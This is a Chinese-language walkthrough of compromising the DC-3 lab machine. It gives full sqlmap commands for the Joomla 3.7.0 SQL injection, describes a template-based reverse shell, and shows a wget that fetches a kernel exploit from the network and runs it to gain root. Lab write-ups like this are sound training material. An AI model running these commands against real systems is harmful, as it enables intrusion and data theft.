目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:Linux DC-3 4.4.0-21-generic
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)、dirsearch(目录遍历)、burp suite(密码爆破)、python(开启临时web服务)、nc(反弹shell连接)、joomscan(探测joomla信息)、searchspoilt(寻找poc)、john(爆破hash密文)、sqlmap(利用sql注入漏洞)
测试网址:http://192.168.202.156
二、测试目的
渗透靶机,通过常规渗透思路,耐心、细心测试漏洞,获取shell并提权。
通过cms漏洞进入后台,写入木马getshell;
通过内核漏洞提权
三、操作过程
这个靶机直接启动不起来
需要更改CD/DVD的设置
在CD/DVD高级设置中将ide 选择 IDE 0:0
即可打开靶机
网络方式改为nat
1、信息搜集
主机探测
arp-scan -l
探测到靶机IP是:192.168.202.156
端口和服务扫描
nmap -A -sS -p- -T4 192.168.202.156
只开启了80端口的web服务 使用的是apache
CMS系统是Joomla!
目录扫描
用不同的工具都扫一下,字典不一样,扫描到的结果会有所不同
Gobuster工具
特点是效率高,有合适的字典会很好用,但是不支持直接扫描多层目录,可以对扫到的目录进行二次扫描
gobuster dir -u http://192.168.202.156 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
Dirsearch工具
特点是参数简单,结果显示详细,自动支持多层目录扫描
dirsearch -u http://192.168.202.156 -i 200,301 --exclude-sizes=0B
2、Getshell
主页只有登录 忘记密码和用户名的找回方式是发邮件,没有邮件系统,所以这里也无法利用了。
有用的信息是 details提示 内容来自 admin ,这可能就是个用户名了
欢迎消息提示:只有一个flag,需要提权到root
扫到的大部分目录文件无法直接访问,二层目录还可以扫到目录,但是三层目录就什么都扫不到了
猜测这是权限设置的问题,需要先登录才行
目录只有administrator可以访问,这是joomla的后台登录界面,这样问题又回到admin的密码上了
筛选一下有用的信息,htaccess.txt文件是对网页的一些配置
不显示目录、过滤script、过滤未授权的访问等作用
获取密码
两种方法获得
①Sql注入漏洞
这是查找靶场wp才发现的,渗透时候没发现
这是正常合理的方法,joomla存在sql注入漏洞
通过joomla检测工具,查找版本
joomscan -u 192.168.202.156
识别到版本信息,文件信息,后台
joomla版本为3.7.0
在kali上找这个版本的漏洞,msf和kali本身的漏洞库都要找,msf是好用,但也不是万能
查找漏洞命令:searchsploit Joomla 3.7.0
Joomla3.7.0版本存在sql注入漏洞
查看漏洞exp:
Locate php/webapps/42033.txt
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
根据txt文档里的sqlmap命令,进行注入
sqlmap -u "http://192.168.202.156/index.php?option=com_fields&view=fields&layout=modal&list[ful lordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
将localhost换成靶机ip即可
爆表:
sqlmap -u "http://192.168.202.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
爆列:
Sqlmap -u "http://192.168.202.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
爆字段:
sqlmap -u "http://192.168.202.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C username,password --dump -p list[fullordering]
最后也是成功获取admin的密码,但是密文
将密文保存,使用john爆破 得到密码明文
snoopy
②弱口令
这是自己做时候拿到密码的方法,很low,但有用啊。弱口令yyds!
没有什么思路,先爆破下密码吧
好在密码是个弱口令 admin/snoopy
登录主页
可以编辑文章
尝试注入php代码,发现都被过滤了
仔细翻找后,在image中找到了一个文件上传点
尝试后,发现是黑白名单过滤,只允许上传图像
php文件直接会过滤掉,而且没有任何回显,也找不到文件在哪
.htaccess文件也不许上传
只能找其他漏洞点了
Admin的用户同时也是后台用户,可以登录后台管理员
尝试修改后台上传设置,可以上传php文件的话就好办了,找到media的设置了
但是修改后,上传还是不行,想找找其他有限制的地方也没找到
编辑php文件
再找找可利用的地方,后台内容很多
在templates(模板)中发现可以编辑模板,这里可以修改几个php文件
在里面添加反弹shell代码后访问即可getshell
Index.php成功写入反弹shell
扫描目录的时候是扫到了templates目录的,而且有子目录
尝试拼接目录访问index.php
/templates/beez3/index.php
访问http://192.168.202.156/templates/beez3/index.php 成功getshell
3、提权
尝试寻找提权点,敏感文件
crontab -l
sudo -l
uname -a
find / -perm -4000 2>/dev/null
find / -writable -type f -not -path "/proc/*" -not -path "/sys/* " -not -path "/var/*" 2>/dev/null
find / -perm -2000 2>/dev/null
但都没什么有用的信息
查找内核提权的poc,找到四个符合靶机版本的
尝试第一个,执行不成功
尝试第二个,提权成功
/usr/share/exploitdb/exploits/linux/local/39772.txt
在文件里面找到exp的下载地址:https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
在靶机下载payload
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
现在解压并按txt文件中的提权方式执行即可提权root
unzip 39772.zip
Cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
Chmod +x compile.sh
./ compile.sh
./doubleput
找到flag
四、结论
没有头绪的时候,尝试弱口令也许有惊喜。测试网站时,先找薄弱的漏洞点,上手更快一些。Getshell后,根据靶机的信息进行提权,内核提权是经常用到的提权方法,通过查找历史漏洞,验证漏洞是否存在,可以getshell。
对应的cms,可以先找找cms的漏洞检测工具,会有很大帮助。
细心观察,总结规律,避免做无用功。